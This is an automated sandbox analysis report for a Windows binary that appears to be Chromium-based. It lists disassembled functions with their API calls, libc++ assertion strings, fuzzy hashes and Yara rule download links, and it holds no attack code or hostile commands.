Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: Init_thread_header
String ID: ..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at$..\..\third_party\libc++\src\include\string:2706: assertion __s != nullptr failed: string::assign received nullptr$bran
API String ID: 3738618077-797417629
Opcode ID: 36e7d13d9b24ef3996e6e09f444dd8a61906b1a3b7acc595429903cede6a7f00
Instruction ID: 11a55be00cc4e1043013661f5041e3396eefc9ac0382a07adb41931762d5094e
Opcode Fuzzy Hash: 36e7d13d9b24ef3996e6e09f444dd8a61906b1a3b7acc595429903cede6a7f00
Instruction Fuzzy Hash: 38617075A142098FDB28CF68D881A7AB7F1FF88314F24917AE609DB391E770D881CB51

Function 008765D0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0087667A

Strings

.log, xrefs: 008766C3, 008766D1, 00876723
..\..\third_party\libc++\src\include\string:2971: assertion __s != nullptr failed: string::insert received nullptr, xrefs: 008767A1
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 0087679A

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strlen
String ID: ..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$..\..\third_party\libc++\src\include\string:2971: assertion __s != nullptr failed: string::insert received nullptr$.log
API String ID: 4218353326-3763197184
Opcode ID: 1bf08d99524fb41e52ddf6e2022a0f3565bf4f41ae343ab2d99cf1242b0bade6
Instruction ID: fefc09e6aaa1f12742a87d22ccbf2b67104a030cb4d41df1ece29674fd87bf67
Opcode Fuzzy Hash: 1bf08d99524fb41e52ddf6e2022a0f3565bf4f41ae343ab2d99cf1242b0bade6
Instruction Fuzzy Hash: 2E514770D046099FDF14DFA4C880AEEFBB1FF55358F148229E40AB7251E730A855CB51

Function 00836530 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 145synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00836598

Strings

..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 0083666E
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 00836675
..\..\third_party\libc++\src\include\__memory\construct_at.h:66: assertion __loc != nullptr failed: null pointer given to destroy_at, xrefs: 00836630

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ObjectSingleWait
String ID: ..\..\third_party\libc++\src\include\__memory\construct_at.h:66: assertion __loc != nullptr failed: null pointer given to destroy_at$..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr
API String ID: 24740636-2860972271
Opcode ID: 96f1f01ebcc49d0c3f347a5425f7247b14cbd4dd4892c9672a2c30ae251f48e6
Instruction ID: 802d61a68663a43f094318e6d929ab3416e0f10e9dd24e882ebe1bb2a1f9540b
Opcode Fuzzy Hash: 96f1f01ebcc49d0c3f347a5425f7247b14cbd4dd4892c9672a2c30ae251f48e6
Instruction Fuzzy Hash: 3D41E270610314AFCB14EB2CD88697A77A5FF90714B188428E447D7A92FB61F915CBD2

Function 00834CF0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00834DBC

Strings

..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 00834E2C
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 00834E25
..\..\third_party\libc++\src\include\string_view:267: assertion __s != nullptr failed: null pointer passed to non-null argument of char_traits<...>::length, xrefs: 00834E33

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strlen
String ID: ..\..\third_party\libc++\src\include\string_view:267: assertion __s != nullptr failed: null pointer passed to non-null argument of char_traits<...>::length$..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr
API String ID: 4218353326-4247613780
Opcode ID: 150524be8be91a5a2c08cf77c66dfc7326dc548641c6474de0e82d0d705828ac
Instruction ID: e670f8eac00972d44842fa1929a39407c9fc031f8e424385f7069b308f097558
Opcode Fuzzy Hash: 150524be8be91a5a2c08cf77c66dfc7326dc548641c6474de0e82d0d705828ac
Instruction Fuzzy Hash: 8541AD71A042159FCB18DF28D881AABBBA5FFC9314F058199EC05DB246D770E950CBE1

Function 0091CD8D Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 125COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0091CC93,?,?,00000000,00000000,00000000,?), ref: 0091CDB2
CatchIt.LIBVCRUNTIME ref: 0091CE98

Strings

RCC, xrefs: 0091CDCC
MOC, xrefs: 0091CDC4

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 8d4019e80e60a8d7e98fb82944ba816ed34b0744612a114db00453ddcd577d66
Instruction ID: 944819000f9288c862800a094e581a5fdc4c4634aac8ad822788146edc4b5431
Opcode Fuzzy Hash: 8d4019e80e60a8d7e98fb82944ba816ed34b0744612a114db00453ddcd577d66
Instruction Fuzzy Hash: 874157B2A4020DAFCF16DF98D881AEEBBB9FF48300F198059F905A6251D335DD91DB51

Function 008C68A0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 124COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 008C693E

Strings

..\..\third_party\libc++\src\include\vector:1400: assertion __n < size() failed: vector[] index out of bounds, xrefs: 008C69FA
..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at, xrefs: 008C69EB
..\..\third_party\libc++\src\include\string_view:267: assertion __s != nullptr failed: null pointer passed to non-null argument of char_traits<...>::length, xrefs: 008C6A01

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strlen
String ID: ..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at$..\..\third_party\libc++\src\include\string_view:267: assertion __s != nullptr failed: null pointer passed to non-null argument of char_traits<...>::length$..\..\third_party\libc++\src\include\vector:1400: assertion __n < size() failed: vector[] index out of bounds
API String ID: 4218353326-378835045
Opcode ID: 32104bc442085d8eca295f6201d052735ed049d037f2d72a73e77110fff7ca93
Instruction ID: ed24d80a7639177b702e54d188278908ca7280125087f3427d47c05db2e9ba41
Opcode Fuzzy Hash: 32104bc442085d8eca295f6201d052735ed049d037f2d72a73e77110fff7ca93
Instruction Fuzzy Hash: 7641B170E042198BCB14CF59D891BAABFB4FF59304B15813EE985EB301F6719859C791

Function 00840F90 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00840FC5
_strlen.LIBCMT ref: 0084105D

Strings

do-not-launch-browser, xrefs: 00840FC0, 00841008, 0084100F, 00841023, 00841058, 0084109F, 008410A6, 008410B3
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 008410E7

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strlen
String ID: ..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$do-not-launch-browser
API String ID: 4218353326-2519540672
Opcode ID: 5798679e0e26c18ce6a32d939ce3ecabceacd88c2d1c8cac90ff6a68b13ae826
Instruction ID: df87111bf211530c84bcf22b200132c591ced4e6482dbc200a5b7a1736398cf1
Opcode Fuzzy Hash: 5798679e0e26c18ce6a32d939ce3ecabceacd88c2d1c8cac90ff6a68b13ae826
Instruction Fuzzy Hash: 1B315AA1D0829DAECF207BE4D845BAFBAA4EF51304F144439E901E7182E76109848BD2

Function 008B0520 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 008B05F2

Strings

%s:%d: %s, xrefs: 008B0605
..\..\third_party\libc++\src\include\string_view:323: assertion (__end - __begin) >= 0 failed: std::string_view::string_view(iterator, sentinel) received invalid range, xrefs: 008B063D
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 008B0644

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strrchr
String ID: %s:%d: %s$..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$..\..\third_party\libc++\src\include\string_view:323: assertion (__end - __begin) >= 0 failed: std::string_view::string_view(iterator, sentinel) received invalid range
API String ID: 3213747228-1124368739
Opcode ID: 21f0b48dd14c8e5c56d5587217dbcafdc7484ed645c47d981ac7cd97b20aad65
Instruction ID: c7cc00c60f4f99e90ccab329dee33cefab08e1b270c366215c7101bd4f17076d
Opcode Fuzzy Hash: 21f0b48dd14c8e5c56d5587217dbcafdc7484ed645c47d981ac7cd97b20aad65
Instruction Fuzzy Hash: DF31C271A0430A9FDB24DE68C891FEFB7A4FF95704F14042DE446E7742EB60A9158FA1

Function 008C8450 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 107COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 008C847E
GetUserDefaultLangID.KERNEL32 ref: 008C84A2

Strings

..\..\third_party\libc++\src\include\string:2489: assertion __n == 0 || __s != nullptr failed: string::assign received nullptr, xrefs: 008C859B
\StringFileInfo\%04x%04x\%ls, xrefs: 008C84E7

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: DefaultLangUser
String ID: ..\..\third_party\libc++\src\include\string:2489: assertion __n == 0 || __s != nullptr failed: string::assign received nullptr$\StringFileInfo\%04x%04x\%ls
API String ID: 768647712-234056397
Opcode ID: b1514e3468076fb1690e9f946b664545ec267a2fe5144c56ae0830214b9845b3
Instruction ID: 1ca81aa81e7fc3aa5a70252faaa7bea9849fcbbfbd3134294aa6cb7a15ecb470
Opcode Fuzzy Hash: b1514e3468076fb1690e9f946b664545ec267a2fe5144c56ae0830214b9845b3
Instruction Fuzzy Hash: 7331E571A102299ADB109F95DC85BFEB3B8FF54310F00405AF804E7291EB78DE84DBA5

Function 008ACC80 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 008ACCB1

Strings

Histogram.MismatchedConstructionArguments, xrefs: 008ACB09
..\..\third_party\libc++\src\include\vector:1400: assertion __n < size() failed: vector[] index out of bounds, xrefs: 008ACC65
..\..\third_party\libc++\src\include\string_view:267: assertion __s != nullptr failed: null pointer passed to non-null argument of char_traits<...>::length, xrefs: 008ACD3F

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strlen
String ID: ..\..\third_party\libc++\src\include\string_view:267: assertion __s != nullptr failed: null pointer passed to non-null argument of char_traits<...>::length$..\..\third_party\libc++\src\include\vector:1400: assertion __n < size() failed: vector[] index out of bounds$Histogram.MismatchedConstructionArguments
API String ID: 4218353326-961035493
Opcode ID: e7be63c6ed1c65cee8a9e12e5d4e0b0b9600c578d5e5cf4905a780d24ec3c09e
Instruction ID: 200ab792384b0ab9c93f25e725f42f4794a55557a08d756179f0e2423d0a9c77
Opcode Fuzzy Hash: e7be63c6ed1c65cee8a9e12e5d4e0b0b9600c578d5e5cf4905a780d24ec3c09e
Instruction Fuzzy Hash: 192153B5E002199FDB04DF58D885AAEB7B4FF89318B10456EEC059B341E771A906CBE1

Function 008B6A20 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 008B6A31

Strings

..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 008B6A8C
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 008B6A85
..\..\third_party\libc++\src\include\string_view:267: assertion __s != nullptr failed: null pointer passed to non-null argument of char_traits<...>::length, xrefs: 008B6A93

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strlen
String ID: ..\..\third_party\libc++\src\include\string_view:267: assertion __s != nullptr failed: null pointer passed to non-null argument of char_traits<...>::length$..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr
API String ID: 4218353326-4247613780
Opcode ID: cce070adcd02e7f581db23f9e6fbf6eb6b9a1f004e1cfaef15a28e1017c1c537
Instruction ID: 7daf9a3af7bba089416aa0c7cced19e4925395c77f023ecf07d0f1b3543763b8
Opcode Fuzzy Hash: cce070adcd02e7f581db23f9e6fbf6eb6b9a1f004e1cfaef15a28e1017c1c537
Instruction Fuzzy Hash: A101F72274433A6B9F019D689C81EEA7798FA95B583289435FC08E3381F666EC209791

Function 0089CAE0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(ntdll.dll,?,?,?,?,?,?,?,?,?,009659FC), ref: 0089CAF8
GetProcAddress.KERNEL32(00000000,NtQueryInformationProcess), ref: 0089CB04

Strings

ntdll.dll, xrefs: 0089CAF3
NtQueryInformationProcess, xrefs: 0089CAFE

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtQueryInformationProcess$ntdll.dll
API String ID: 1646373207-2906145389
Opcode ID: b6ff1d4efc4c16710ecda3965bb231186472a1121d17c01cb49109491e4efd02
Instruction ID: 055f019b8c2482fe8e218f357e1fb7bfbe44732fcbc1dd2af474cd59f3d8cb13
Opcode Fuzzy Hash: b6ff1d4efc4c16710ecda3965bb231186472a1121d17c01cb49109491e4efd02
Instruction Fuzzy Hash: BD01DB31A1032D5BCB10BF769C4996B7BB8EF89769B454355F805A7041EB60994097A0

Function 0092A667 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,0092A703,00000011,00000001,00000000,?,?,?,0092A5C1,00000002,FlsGetValue,00938284,0093828C), ref: 0092A674
GetLastError.KERNEL32(?,0092A703,00000011,00000001,00000000,?,?,?,0092A5C1,00000002,FlsGetValue,00938284,0093828C,00000011,?,0091C10C), ref: 0092A67E
LoadLibraryExW.KERNEL32(?,00000000,00000000,00000011,?,0091C10C), ref: 0092A6A6

Strings

api-ms-, xrefs: 0092A68B

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: e5482ce01aa054d71ec27236092a43a178f06346ba00d872dd05f5cf7f25b553
Instruction ID: d23ec70040f4cf64eb4f6263a011078dc8ff0919f06e7bc2a1e15b7114c6ff69
Opcode Fuzzy Hash: e5482ce01aa054d71ec27236092a43a178f06346ba00d872dd05f5cf7f25b553
Instruction Fuzzy Hash: 4AE04831784319BBDF102F92ED06B593E5D9B40B45F144430FD0CA80E5EB62D9509F45

Function 008F0870 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(bcryptprimitives), ref: 008F0878
GetProcAddress.KERNEL32(00000000,ProcessPrng), ref: 008F0888

Strings

ProcessPrng, xrefs: 008F0882
bcryptprimitives, xrefs: 008F0873

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: ProcessPrng$bcryptprimitives
API String ID: 2574300362-1205050517
Opcode ID: 31f2410f5215f080d674b50909dba4fa859298fca8e480b3c40a821736b6d7da
Instruction ID: 068c8ba83ac6d6d1b70d4091fa1e935028b67cc2ef5f870d4cd8e56deee3f8ea
Opcode Fuzzy Hash: 31f2410f5215f080d674b50909dba4fa859298fca8e480b3c40a821736b6d7da
Instruction Fuzzy Hash: DBC0127026C309AB4A147BF7BC0E9397B5CE680B963040471BE0DC2591EB61C0806B64

